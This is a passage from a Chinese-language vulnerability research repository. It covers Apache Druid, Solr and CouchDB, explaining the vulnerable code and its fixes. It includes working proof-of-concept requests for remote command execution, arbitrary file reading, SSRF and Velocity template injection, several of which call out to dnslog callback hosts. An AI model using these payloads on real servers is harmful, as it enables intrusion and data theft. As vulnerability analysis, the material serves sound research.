├── .gitignore ├── Database ├── Apache Druid.md ├── Apache Solr.md ├── CouchDB.md ├── ElasticSearch.md ├── H2 Database.md ├── InfluxDB.md ├── mssql.md └── mysql.md ├── Go Security └── Go Server Side Template Injection(SSTI).md ├── JavaVulType ├── Expression.md ├── JDBC.md ├── XXE.md └── 常见利用类.md ├── Java_OA ├── CDGServer3_old.md ├── Ecology9_install.md ├── EcologyAudit.md ├── FEOAv6.51.md ├── FineReportAudit.md ├── LandrayEkpAudit.md ├── NacosAudit.md ├── Nexus Repository Manager Audit.md ├── Route_Struts2.md ├── RuoYi.md ├── SeeyonAudit.md ├── Seeyon_clazzDecompile.md ├── Smartbi_Audit.md ├── Teamcity_Audit.md ├── WCM_Audit.md ├── blacklist-v11.0.10.txt ├── entCRM.md ├── huidianOA.md ├── jwycbjnoyees.jar ├── qiwangzhizao.md ├── xstream.md └── yongyou_NC_Audit.md ├── Other_OA ├── Chanjet.md ├── DedeCMS.md ├── ThinkPHP.md ├── Thinkphp框架鉴权分析.md ├── Zentao.md ├── images │ ├── zentao1.png │ ├── zentao10.png │ ├── zentao2.png │ ├── zentao3.png │ ├── zentao4.png │ ├── zentao5.png │ ├── zentao6.png │ ├── zentao7.png │ ├── zentao8.png │ └── zentao9.png ├── wuzhicms.md ├── 泛微E-Office.md ├── 通达OA.md └── 金山终端安全系统.md ├── README.md ├── Server ├── Jboss.md ├── Jetty.md ├── Nginx.md ├── PrimetonPASAudit.md ├── Tomcat.md ├── TongWeb.md └── Weblogic.md ├── Struts2 ├── POC解析.md ├── Struts2漏洞分析.md └── demo │ ├── S2-001.war │ ├── S2-007.war │ ├── S2-009.war │ ├── S2-012.war │ ├── S2-013.war │ ├── S2-015.war │ ├── S2-019.war │ ├── S2-029.war │ ├── S2-033.war │ ├── S2-045.war │ ├── S2-046.war │ ├── S2-048.war │ ├── S2-052.war │ ├── S2-053.war │ ├── s2-003.war │ ├── s2-005.war │ ├── s2-008.war │ ├── s2-016.war │ ├── s2-032.war │ └── s2-037.war └── images ├── CDGServer3_old.png ├── Pasted image 20230307105828.png ├── Pasted image 20230310210247.png ├── Pasted image 20230310211445.png ├── filter.png ├── image-20230829101922114.png ├── image-20240112170234236.png ├── security_diagram.jpg └── 致远服务配置Agent.png /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store -------------------------------------------------------------------------------- /Database/Apache Druid.md: -------------------------------------------------------------------------------- 1 | # Apache Druid 2 | 3 | Apache Druid是面向列的分布式数据存储,由Java编写。其他类似的column-oriented型数据库,参考: https://en.wikipedia.org/wiki/List_of_column-oriented_DBMSes 4 | 5 | 官方文档: https://druid.apache.org/docs/latest/tutorials/index.html 6 | 7 | 源码下载: https://github.com/apache/druid 8 | 9 | 安装包下载: https://archive.apache.org/dist/druid/ 10 | 11 | Linux下安装、启动(要求Java8) 12 | ``` 13 | tar -zxvf apache-druid-0.17.0-bin.tar.gz 14 | cd /apache-druid-0.17.0/bin 15 | ./start-nano-quickstart 16 | ``` 17 | 访问`http://localhost:8888` 18 | 19 | 历史漏洞 20 | 21 | |漏洞编号|漏洞类型|影响版本| 22 | |:----:|:----:|:----:| 23 | |CVE-2021-36749|文件读取|< 0.21.0| 24 | |CVE-2021-26920|文件读取|0.20.x| 25 | |CVE-2021-26919|RCE|< 0.20.2| 26 | |CVE-2021-25646|RCE|<= 0.20.0| 27 | |CVE-2020-1958|身份认证绕过|0.17.0| 28 | 29 | ## CVE-2020-1958 30 | Ref: https://github.com/ggolawski/CVE-2020-1958 31 | 32 | ## CVE-2021-25646 33 | Ref: https://www.zerodayinitiative.com/blog/2021/3/25/cve-2021-25646-getting-code-execution-on-apache-druid 34 | 35 | POC 36 | ``` 37 | POST /druid/indexer/v1/sampler HTTP/1.1 38 | Host: 127.0.0.1:8888 39 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 40 | Accept: application/json, text/plain, */* 41 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 42 | Content-Type: application/json 43 | Content-Length: 994 44 | Connection: close 45 | 46 | 47 | {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('open -a Calculator')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}} 48 | ``` 49 | 50 | ## CVE-2021-26919 51 | POC 52 | ``` 53 | { 54 | "type": "pollingLookup", 55 | "pollPeriod": "PT10M", 56 | "dataFetcher": 57 | { 58 | "type": "jdbcDataFetcher", 59 | "connectorConfig": "jdbc://mysql://localhost:3306/my_data_base", 60 | "table": "lookup_table_name", 61 | "keyColumn": "key_column_name", 62 | "valueColumn": "value_column_name" 63 | }, 64 | "cacheFactory": 65 | { 66 | "type": "onHeapPolling" 67 | } 68 | } 69 | ``` 70 | 71 | ## CVE-2021-36749 72 | 73 | 页面上点击load data,然后选择`http(s)://`,点击connect后在URIs处填入`file://etc/passwd`即可读取文件 74 | POC 75 | ``` 76 | curl http://127.0.0.1:8888/druid/indexer/v1/sampler?for=connect -H "Content-Type:application/json" -X POST -d "{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\" file:///etc/passwd \"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"parser\":{\"type\":\"string\", \"parseSpec\":{\"format\":\"regex\",\"pattern\":\"(.*)\",\"columns\":[\"a\"],\"dimensionsSpec\":{},\"timestampSpec\":{\"column\":\"no_ such_ column\",\"missingValue\":\"2010-01-01T00:00:00Z\"}}}}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}" 77 | ``` 78 | -------------------------------------------------------------------------------- /Database/Apache Solr.md: -------------------------------------------------------------------------------- 1 | # Apache Solr 2 | 3 | 官方网站: https://solr.apache.org/ 4 | 5 | 历史版本安装包和软件下载: http://archive.apache.org/dist/lucene/solr/ 6 | 7 | 官方漏洞说明: https://issues.apache.org/jira/projects/SOLR/issues/SOLR-15718?filter=allopenissues 8 | 9 | 10 | 历史漏洞 11 | |漏洞编号|漏洞类型|影响版本| 12 | |:----:|:----:|:----:| 13 | |CVE-2021-27905|SSRF|<= 7.7.3, 8.8.1 | 14 | |CVE-2020-13957|RCE|<= 6.6.6、7.7.3、8.6.2 | 15 | |CVE-2019-17558|RCE| 5.0.0-8.3.1| 16 | |CVE-2019-0193|RCE|< 8.2.0| 17 | |CVE-2019-0192|RCE|<= 5.5.5, 6.6.5| 18 | |CVE-2018-1308|XXE|<= 6.6.2, 7.2.1| 19 | |CVE-2017-12629|RCE|< 7.1| 20 | |CVE-2017-12629|XXE|< 7.1| 21 | |CVE-2017-3164|SSRF|<= 7.6| 22 | |CVE-2017-3163|任意文件读取|< 6.4.1| 23 | 24 | 解压安装包后,即可运行调试 25 | ``` 26 | // 以debug模式运行 27 | solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5555" -p 8983 28 | 29 | // 生成测试数据(生成路径为Solr文件夹下的example\example-DIH\solr) 30 | solr.cmd -f -e dih 31 | 32 | // 停止服务 33 | solr.cmd stop -p 8983 34 | 35 | // 以debug模式运行并执行测试数据 36 | solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5555" -p 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr" 37 | 38 | // 创建核心 39 | solr.cmd create -c solr_sample 40 | 41 | // 删除核心 42 | solr.cmd delete -c solr_sample 43 | ``` 44 | 45 | 常用API 46 | ``` 47 | 查看核心 48 | /solr/admin/cores?indexInfo=false&wt=json 49 | 查看某一核心的配置 50 | /solr/[core]/config 51 | 52 | ``` 53 | 54 | ## CVE-2017-3163 55 | 问题出现在索引复制功能(Replication),Apache Solr节点会从master/leader节点通过文件名拉取文件。但是并没有对文件名进行校验,就造成了任意文件读取。测试数据中自带的核心包含db、mail、rss、solr、tika 56 | 57 | 以db核心的Replication功能为例的POC如下 58 | ``` 59 | GET /solr/db/replication?command=filecontent&file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fwin.ini&wt=filestream&generation=1 60 | ``` 61 | 直接启动Solr默认启动的是jetty服务器,jetty的特点是最终调用某个具体的Handler来处理请求。`jetty ServletHandler.doHandle() -> solr SolrDispatchFilter.doFilter`。然后Solr在处理请求时也会分发到对应的Hanlder。`ReplicationHandler`处理具体请求的核心代码如下 62 | ``` 63 | public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception { 64 | final SolrParams solrParams = req.getParams(); 65 | String command = solrParams.get(COMMAND); 66 | if (command.equals(CMD_INDEX_VERSION)) {...} // command值为indexversion 67 | else if (command.equals(CMD_GET_FILE)) { // command值为filecontent 68 | getFileStream(solrParams, rsp); // 会讲file文件流放在rsp中 69 | } 70 | else if (command.equalsIgnoreCase(CMD_FETCH_INDEX)) { //command值为fetchindex 71 | String masterUrl = solrParams.get(MASTER_URL); 72 | final SolrParams paramsCopy = new ModifiableSolrParams(solrParams); 73 | Thread fetchThread = new Thread(() -> doFetch(paramsCopy, false), "explicit-fetchindex-cmd") ; 74 | fetchThread.setDaemon(false); 75 | fetchThread.start(); 76 | rsp.add(STATUS, OK_STATUS); 77 | } 78 | ... // filelist、backup、restore、restorestatus、deletebackup、disablepoll、enablepoll、abortfetch、commits、details 79 | } 80 | 81 | private void getFileStream(SolrParams solrParams, SolrQueryResponse rsp) { 82 | ModifiableSolrParams rawParams = new ModifiableSolrParams(solrParams); 83 | rawParams.set(CommonParams.WT, FILE_STREAM); 84 | ... 85 | } else { 86 | rsp.add(FILE_STREAM, new DirectoryFileStream(solrParams)); 87 | } 88 | } 89 | 90 | public DirectoryFileStream(SolrParams solrParams) { 91 | params = solrParams; 92 | fileName = params.get(FILE); // 从请求中获取file属性值,即文件名 93 | cfileName = params.get(CONF_FILE_SHORT); 94 | indexGen = params.getLong(GENERATION); 95 | ... 96 | } 97 | ``` 98 | 请求处理完成后,会写入响应内容。进而调用的就是`DirectoryFileStream.write()`方法,会将所处核心的数据绝对路径与fileName相拼接,然后读取文件内容,`fos.write(buf, 0, read);fos.flush();`将文件内容写入到响应body中。 99 | 100 | 漏洞修复 101 | 漏洞修复时在DirectoryFileStream构造函数中加入了对于文件名的判断,包含`..`或者是绝对路径都是抛出异常 102 | ``` 103 | protected String validateFilenameOrError(String filename){ 104 | if(filename!=null){ 105 | if("..".equals(subpath.toString())){throw new SolrException()} 106 | if(filePath.isAbsolute()){throw new SolrException()} 107 | } 108 | } 109 | ``` 110 | 111 | ## CVE-2017-3164 112 | 问题同样出现在索引复制功能(Replication),如同上面ReplicationHandler处理具体请求的核心代码,command为fetchindex时,会更新要下载的文件列表。最终调用的是`IndexFetcher.fetchFileList()`,创建一个HttpSolrClient发送请求,造成SSRF漏洞。 113 | ``` 114 | NamedList getLatestVersion() throws IOException { 115 | QueryRequest req = new QueryRequest(params); 116 | try (HttpSolrClient client = new HttpSolrClient.Builder(masterUrl).withHttpClient(myHttpClient).build()) { 117 | client.setSoTimeout(60000); 118 | client.setConnectionTimeout(15000); 119 | 120 | return client.request(req); 121 | } ... 122 | } 123 | ``` 124 | POC 125 | ``` 126 | GET /solr/db/replication?command=fetchindex&masterUrl=http://xxx.dnslog.cn/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb HTTP/1.1 127 | ``` 128 | 129 | ## CVE-2017-12629 130 | XML有很多解析方式,包括DOM、SAX、JDO、DOM4J等技术。其中DOM最常用的解析方式如下。如果可以引用外部实体,就会造成XXE漏洞。所以一般的防御方式是在代码中加入`factory.setExpandEntityReferences(false);`来禁用外部实体。 131 | ``` 132 | DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); 133 | DocumentBuilder builder = factory.newDocumentBuilder(); 134 | File f = new File("books.xml"); 135 | Document doc = builder.parse(f); 136 | ``` 137 | lucene的核心解析器`CoreParser`解析xml时的代码简化如下,发现并没有禁用外部实体,存在XXE漏洞 138 | ``` 139 | static Document parseXML(InputStream pXmlFile) throws ParserException { 140 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 141 | DocumentBuilder db = dbf.newDocumentBuilder(); 142 | org.w3c.dom.Document doc = db.parse(pXmlFile); 143 | return doc; 144 | } 145 | ``` 146 | 官方在修复此漏洞时则是在上述代码中加入`dbf.setFeature("http://javax.xml.XMLConstants/feature/secure-processing",true)` 147 | 148 | ## CVE-2018-1308 149 | 同样是XXE漏洞,问题出在`DataImportHandler`处理请求时,会加载配置文件。`DataImportHandler.handleRequestBody() -> DataImporter.maybeReloadConfiguration() -> DataImporter.loadDataConfig()`,代码如下也没有禁用外部实体。 150 | ``` 151 | public DIHConfiguration loadDataConfig(InputSource configFile) { 152 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 153 | if (this.core != null && configFile.getSystemId() != null) { 154 | dbf.setXIncludeAware(true); 155 | dbf.setNamespaceAware(true); 156 | } 157 | DocumentBuilder builder = dbf.newDocumentBuilder(); 158 | if (this.core != null) { 159 | builder.setEntityResolver(new SystemIdResolver(this.core.getResourceLoader())); 160 | } 161 | builder.setErrorHandler(XMLLOG); 162 | Document document=builder.parse(configFile); 163 | dihcfg = this.readFromXml(document); 164 | } 165 | ``` 166 | 167 | 168 | ## CVE-2019-17558 169 | 查看某一核心的solrconfig.xml配置文件,有如下配置。QueryResponseWriter是Solr插件,可以定义任何请求的响应格式。 170 | ``` 171 | 172 | ${velocity.template.base.dir:} 173 | 174 | ``` 175 | 2Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。 176 | 通过请求开启`params.resource.loader.enabled`(此配置默认为false,即默认不允许加载器指定模板),否则模版执行会报错`unable to find resource 'custom.vm'` 177 | ``` 178 | POST /solr/db/config HTTP/1.1 179 | Content-Type: application/json 180 | 181 | { 182 | "update-queryresponsewriter": { 183 | "startup": "lazy", 184 | "name": "velocity", 185 | "class": "solr.VelocityResponseWriter", 186 | "template.base.dir": "", 187 | "solr.resource.loader.enabled": "true", 188 | "params.resource.loader.enabled": "true" 189 | } 190 | } 191 | ``` 192 | SSTI命令执行+回显payload 193 | ``` 194 | GET /solr/db/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end 195 | ``` 196 | 197 | 198 | ## 任意文件读取 199 | 首先修改配置 200 | ``` 201 | POST /solr/db/config HTTP/1.1 202 | Content-Type: application/json 203 | 204 | { "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} 205 | ``` 206 | 读取文件 207 | ``` 208 | curl "http://172.16.165.146:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/Windows/win.ini" 209 | ``` 210 | 211 | 212 | ## Solr资料 213 | https://github.com/veracode-research/solr-injection 214 | 215 | https://raw.githubusercontent.com/artsploit/solr-injection/master/slides/DEFCON-27-Michael-Stepankin-Apache-Solr-Injection.pdf 216 | 217 | -------------------------------------------------------------------------------- /Database/CouchDB.md: -------------------------------------------------------------------------------- 1 | # CouchDB 2 | 3 | CouchDB属于NoSQL数据库的一种,数据库内容以Documents形式而不是表形式存储,有Map/Reduce系统支持。CouchDB用Erlang编写,但允许用户在Javascript中指定文档验证脚本。创建或更新文档时会自动执行这些脚本。 4 | 官方网址: https://couchdb.apache.org/ 5 | 历史安装版本下载地址:https://archive.apache.org/dist/couchdb/binary/win/1.6.1/ 6 | 历史源码下载: https://archive.apache.org/dist/couchdb/source/1.6.1/ 7 | 重点历史漏洞: 8 | |漏洞编号| 漏洞类型 |影响版本| 9 | |:----:|:----:|:----:| 10 | |CVE-2017-12635|远程权限提升| < 1.7.1 or 2.1.1| 11 | |CVE-2017-12636|RCE| < 1.7.1 or 2.1.1| 12 | |CVE-2018-8007|RCE| < 1.7.2 or 2.1.2| 13 | |CVE-2021-38295|远程权限提升| < 3.1.2| 14 | 15 | ### 基本使用 16 | CouchDB主要有两种管理方式,一种是通过curl发包,另一种是通过自身名为Futon的管理界面 17 | CouchDB的Web地址:http://127.0.0.1:5984/ 18 | CouchDB的Futon管理界面: http://localhost:5984/_utils/ 19 | 20 | 默认表: `_users`和`_replicator` 21 | 22 | **curl语句** 23 | 查看数据库列表: `curl -X GET http://127.0.0.1:5984/_all_dbs` 24 | 创建数据库: `curl -X PUT http://localhost:5984/database_name` 25 | 删除数据库: `curl -X DELETE http://127.0.0.1:5984/database_name` 26 | 创建文档: `curl -X PUT http://127.0.0.1:5984/database_name/"001" -d "{\"Name\":\"AxisX\",\"age\":\"18\",\"Title\":\"Hacker\"}" -H "Content-Type: application/json"` 27 | 更新文档: `curl -X PUT http://127.0.0.1:5984/database_name/"001" -d "{\"age\":\"19\",\"_rev\":\"revisionID\"}" -H "Content-Type: application/json"` 28 | 删除文档: `curl -X DELETE http://127.0.0.1:5984/database_name/001?rev=revisionID` 29 | 附加文件: `curl -vX PUT http://127.0.0.1:5984/database_name/001/boy.jpg?rev=revisionID --data-binary @boy.jpg -H "ContentType:image/jpg"` 30 | 创建用户: `curl -X PUT http://127.0.0.1:5984/_users/org.couchdb.user:testuser -H "Content-Type: application/json" -d "{\"name\":\"testuser\",\"password\":\"testuser\",\"roles\":[],\"type\":\"user\"}'` 31 | 用户登陆: `curl -vX POST https://dev.imaicloud.com/couchdb/_session -H "Content-Type:application/x-www-form-urlencoded" -d "name=test&password=test"` 32 | 33 | 34 | ### CVE-2017-12635 35 | 参考链接:https://justi.cz/security/2017/11/14/couchdb-rce-npm.html 36 | 如果CouchDB安装后配置了用户,那么打开`_users`表会存在一个默认Key`"_design/_auth"`,该Key包含了四个Field:`_id:`_design/_auth、`_rev:xxx`、`language:javascript`、`validate_doc_update:function(xxx)`。`validate_doc_update`字段具体值如下,是javascript的脚本 37 | ```javascript 38 | function(newDoc, oldDoc, userCtx, secObj) { 39 | if (newDoc._deleted === true) { 40 | // allow deletes by admins and matching users 41 | // without checking the other fields 42 | if ((userCtx.roles.indexOf('_admin') !== -1) || 43 | (userCtx.name == oldDoc.name)) { 44 | return; 45 | } else { 46 | throw({forbidden: 'Only admins may delete other user docs.'}); 47 | } 48 | } 49 | 50 | if ((oldDoc && oldDoc.type !== 'user') || newDoc.type !== 'user') { 51 | throw({forbidden : 'doc.type must be user'}); 52 | } // we only allow user docs for now 53 | 54 | if (!newDoc.name) { 55 | throw({forbidden: 'doc.name is required'}); 56 | } 57 | 58 | if (!newDoc.roles) { 59 | throw({forbidden: 'doc.roles must exist'}); 60 | } 61 | 62 | if (!isArray(newDoc.roles)) { 63 | throw({forbidden: 'doc.roles must be an array'}); 64 | } 65 | 66 | for (var idx = 0; idx < newDoc.roles.length; idx++) { 67 | if (typeof newDoc.roles[idx] !== 'string') { 68 | throw({forbidden: 'doc.roles can only contain strings'}); 69 | } 70 | } 71 | 72 | if (newDoc._id !== ('org.couchdb.user:' + newDoc.name)) { 73 | throw({ 74 | forbidden: 'Doc ID must be of the form org.couchdb.user:name' 75 | }); 76 | } 77 | 78 | if (oldDoc) { // validate all updates 79 | if (oldDoc.name !== newDoc.name) { 80 | throw({forbidden: 'Usernames can not be changed.'}); 81 | } 82 | } 83 | 84 | if (newDoc.password_sha && !newDoc.salt) { 85 | throw({ 86 | forbidden: 'Users with password_sha must have a salt.' + 87 | 'See /_utils/script/couch.js for example code.' 88 | }); 89 | } 90 | 91 | if (newDoc.password_scheme === "pbkdf2") { 92 | if (typeof(newDoc.iterations) !== "number") { 93 | throw({forbidden: "iterations must be a number."}); 94 | } 95 | if (typeof(newDoc.derived_key) !== "string") { 96 | throw({forbidden: "derived_key must be a string."}); 97 | } 98 | } 99 | 100 | var is_server_or_database_admin = function(userCtx, secObj) { 101 | // see if the user is a server admin 102 | if(userCtx.roles.indexOf('_admin') !== -1) { 103 | return true; // a server admin 104 | } 105 | 106 | // see if the user a database admin specified by name 107 | if(secObj && secObj.admins && secObj.admins.names) { 108 | if(secObj.admins.names.indexOf(userCtx.name) !== -1) { 109 | return true; // database admin 110 | } 111 | } 112 | 113 | // see if the user a database admin specified by role 114 | if(secObj && secObj.admins && secObj.admins.roles) { 115 | var db_roles = secObj.admins.roles; 116 | for(var idx = 0; idx < userCtx.roles.length; idx++) { 117 | var user_role = userCtx.roles[idx]; 118 | if(db_roles.indexOf(user_role) !== -1) { 119 | return true; // role matches! 120 | } 121 | } 122 | } 123 | 124 | return false; // default to no admin 125 | } 126 | 127 | if (!is_server_or_database_admin(userCtx, secObj)) { 128 | if (oldDoc) { // validate non-admin updates 129 | if (userCtx.name !== newDoc.name) { 130 | throw({ 131 | forbidden: 'You may only update your own user document.' 132 | }); 133 | } 134 | // validate role updates 135 | var oldRoles = oldDoc.roles.sort(); 136 | var newRoles = newDoc.roles.sort(); 137 | 138 | if (oldRoles.length !== newRoles.length) { 139 | throw({forbidden: 'Only _admin may edit roles'}); 140 | } 141 | 142 | for (var i = 0; i < oldRoles.length; i++) { 143 | if (oldRoles[i] !== newRoles[i]) { 144 | throw({forbidden: 'Only _admin may edit roles'}); 145 | } 146 | } 147 | } else if (newDoc.roles.length > 0) { 148 | throw({forbidden: 'Only _admin may set roles'}); 149 | } 150 | } 151 | 152 | // no system roles in users db 153 | for (var i = 0; i < newDoc.roles.length; i++) { 154 | if (newDoc.roles[i][0] === '_') { 155 | throw({ 156 | forbidden: 157 | 'No system roles (starting with underscore) in users db.' 158 | }); 159 | } 160 | } 161 | 162 | // no system names as names 163 | if (newDoc.name[0] === '_') { 164 | throw({forbidden: 'Username may not start with underscore.'}); 165 | } 166 | 167 | var badUserNameChars = [':']; 168 | 169 | for (var i = 0; i < badUserNameChars.length; i++) { 170 | if (newDoc.name.indexOf(badUserNameChars[i]) >= 0) { 171 | throw({forbidden: 'Character `' + badUserNameChars[i] + 172 | '` is not allowed in usernames.'}); 173 | } 174 | } 175 | } 176 | ``` 177 | 这个javascript脚本对请求中的权限等进行了校验,如果不合规就抛出异常。Erlang语言有很多解析JSON的库,例如`mochijson2,Jiffy`。CouchDB用到的JSON解析器在官方文档的`1.10. Troubleshooting an Installation`部分有提到,CouchDB不同版本用到了不同的JSON encoders,即JSON编码器。早期用的就是Jiffy 178 | 但是Javascript对于JSON的解析和Jiffy存在差异,尤其在**重复键**上,例如JSON语句`{"foo":"bar", "foo":"baz"}`,二者的解析对比结果如下 179 | ``` 180 | > jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}"). 181 | {[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]} 182 | 183 | > JSON.parse("{\"foo\":\"bar\", \"foo\": \"baz\"}") 184 | {foo: "baz"} 185 | ``` 186 | 对于给定的键,Erlang解析器Jiffy将存储两个值,但Javascript解析器将只存储最后一个值。而CouchDB在处理数据时其getter函数只返回第一个值。所以如果让第一个值是admin权限,第二个值是个空值。就可以绕过javascript校验 187 | ``` 188 | % Within couch_util:get_value 189 | lists:keysearch(Key, 1, List). 190 | ``` 191 | 192 | ### CVE-2017-12636 193 | 参考链接:https://justi.cz/security/2017/11/14/couchdb-rce-npm.html 194 | 这篇文章中同样提到,如何获取shell。CouchDB允许通过query_server定义语言来执行命令。查询1.6的CouchDB说明文档, `3.8.1 Query Servers Definition`部分说到CouchDB的Design Functions计算功能是由外部查询服务器执行的,而外部查询服务器实际上是一个特殊的操作系统进程,外部查询服务器需要在配置文件中定义 195 | ``` 196 | [query_servers] 197 | LANGUAGE = PATH ARGS 198 | ``` 199 | Language是外部查询服务器会执行的代码,PATH是二进制文件的路径,ARGS是命令行参数。根据API接口文档,想要更改配置文件需要`PUT /_config/{section}/{key}`,那么设置query_servers的代码如下 200 | ``` 201 | curl -X PUT 'http://admin:admin@your-ip:5984/_config/query_servers/cmd' -d '"ping xxx.dnslog.cn"' 202 | ``` 203 | API文档中提到想要执行view function的代码如下`POST /{db}/_temp_view`,但是想要执行这个代码就需要有一个真实存在的db,所以payload也是先创建了db和具体的doc。 204 | ``` 205 | curl -X PUT 'http://admin:admin@your-ip:5984/my_database' 206 | curl -X PUT 'http://admin:admin@your-ip:5984/my_database/"001" -d "{\"Name\":\"AxisX\",\"age\":\"18\",\"Title\":\"Hacker\"}" -H "Content-Type: application/json"` 207 | curl -X POST 'http://admin:admin@your-ip:5984/my_database/_temp_view?limit=10' -d '{"language": "cmd", "map":""}' -H 'Content-Type: application/json' 208 | ``` 209 | 2.1.0版本Payload和1.6版本有很多不同。首先就是接口`/{db}/_temp_view`没有了。那么上面这个1.6的payload就完全不适用了。但是也增加了一些接口`_cluster_setup`、`_membership`等。在查找配置接口的文档中发现,配置接口的访问路径更改为`/_node/{node-name}/_config`,这是由于Couchdb 2.x 引入了集群概念,要具体到某一个节点下进行配置。并且该接口的访问中依然保有`query_servers`这种方式,官方示例代码如下 210 | ``` 211 | "query_servers": { 212 | "javascript": "/usr/bin/couchjs /usr/share/couchdb/server/main.js" 213 | }, 214 | ``` 215 | 216 | 那么要先找到一个节点。然后修改其`query_servers`配置。访问`_membership`接口,可以看到集群中所有节点的状态,选择其中一个已有节点,`couchdb@localhost`。 217 | ``` 218 | {"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]} 219 | ``` 220 | 然后访问该节点的配置接口路径`/_node/couchdb@localhost/_config`。配置完成后还是要考虑触发的问题。查询官方文档`PUT /{db}/_design/{ddoc}`会修订现有Desin Documents,并包含视图对象可以调用view functions。 221 | 222 | 完整Payload如下 223 | ``` 224 | curl http://localhost:5984/_membership 225 | curl -X PUT http://localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd -d "\"ping m74ovz.dnslog.cn\"" 226 | curl -X PUT http://localhost:5984/my_database 227 | curl -X PUT http://localhost:5984/my_database/"001" -d "{\"Name\":\"AxisX\",\"age\":\"18\",\"Title\":\"Hacker\"}" -H "Content-Type: application/json" 228 | curl -X PUT http://localhost:5984/my_database/_design/"001" -d '{"_id":"_design/test", "views":{"lululu":{"map":""} }," language": "cmd"}' -H "Content-Type: application/json" 229 | ``` 230 | 231 | ### CVE-2018-8007 232 | 参考链接:https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/ 233 | 2.1.1版本再执行CVE-2017-12636中的`/_node/couchdb@localhost/_config/query_servers/cmd`会报错forbidden,显示`Config section blacklisted for modification over HTTP API.` 234 | 查看源码文件`https://github.com/apache/couchdb/blob/master/src/couch/src/couch_util.erl`,会发现黑名单相关代码如下。query_servers被列入到了黑名单中,符合上面测试中的报错信息。 235 | ``` 236 | define(BLACKLIST_CONFIG_SECTIONS, [ 237 | <<“daemons”>>, 238 | <<“external”>>, 239 | <<“httpd_design_handlers”>>, 240 | <<“httpd_db_handlers”>>, 241 | <<“httpd_global_handlers”>>, 242 | <<“native_query_servers”>>, 243 | <<“os_daemons”>>, 244 | <<“query_servers”>> 245 | ]). 246 | 247 | check_config_blacklist(Section) -> 248 | case lists:member(Section, ?BLACKLIST_CONFIG_SECTIONS) of 249 | true -> 250 | Msg = <<“Config section blacklisted for modification over HTTP API.”>>, 251 | throw({forbidden, Msg}); 252 | _ -> 253 | ok 254 | end. 255 | ``` 256 | 发现者换了一种写配置文件的方法,将如下内容写到了local.ini中。此时的`os_daemons`在请求体中而不是url中,绕过config对于API的过滤。 257 | ``` 258 | curl -X PUT http://localhost:5984/_node/couchdb@localhost/_config/cors/origins -d "\"http://testdomain.com\n\n[os_daemons]\nhackdaemon=ping h2eidk.dnslog.cn\"" -H "Content-Type: application/json" 259 | ``` 260 | 也可以从os_daemons官方文档中找到其他路径来完成访问 261 | ``` 262 | curl -iv -X PUT http://localhost:5984/_node/couchdb@localhost/_config/update_notification/index-updater -d "\"ping h2eidk.dnslog.cn\"" -H "Content-Type: application/json" 263 | ``` 264 | 265 | ### CVE-2021-38295 266 | 参考链接: https://www.secureideas.com/blog/digging-between-the-couch-cushions 267 | 268 | ### CVE-2022-24706 269 | https://www.exploit-db.com/exploits/50914 270 | 271 | 272 | -------------------------------------------------------------------------------- /Database/ElasticSearch.md: -------------------------------------------------------------------------------- 1 | # ElasticSearch 2 | 3 | Elasticsearch是一个开源的搜索引擎,建立在一个全文搜索引擎库Apache Lucene基础之上。Apache Solr也是建立在Lucene上的搜索引擎。Elasticsearch提供了一套RESTful 